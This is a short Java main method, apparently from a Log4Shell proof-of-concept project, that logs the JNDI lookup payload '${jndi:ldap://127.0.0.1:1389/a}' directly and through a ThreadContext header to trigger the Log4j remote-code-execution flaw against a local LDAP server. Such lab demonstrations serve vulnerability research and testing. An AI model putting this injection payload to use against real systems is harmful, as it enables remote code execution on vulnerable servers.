Method main

src/main/java/Log4j.java:27–48

(String[] args)

    }

    public static void main(String[] args) {
        boolean useThreadLocalAttack = false;
        for (int i = 0; i < args.length ; ++i) {
            if (args[i].equalsIgnoreCase("-t")) {
                System.out.println("Will use ThreadContext as attack vector");
                useThreadLocalAttack = true;
            }
        }
        if (useThreadLocalAttack) {
            configureLoggerWithThreadContext();
            Logger logger = LogManager.getLogger();
            ThreadContext.put("header", "${jndi:ldap://127.0.0.1:1389/a}");
            logger.error("Vulnerable through thread context - 1");
            logger.error("Vulnerable through thread context - 2");
        } else {
            Logger logger = LogManager.getLogger();
            // exploit will be executed
            logger.error("${jndi:ldap://127.0.0.1:1389/a}");
            // no more exploits will be executed from here TBD - try with another file
            logger.error("${jndi:ldap://127.0.0.1:1389/a}");
        }
    }
}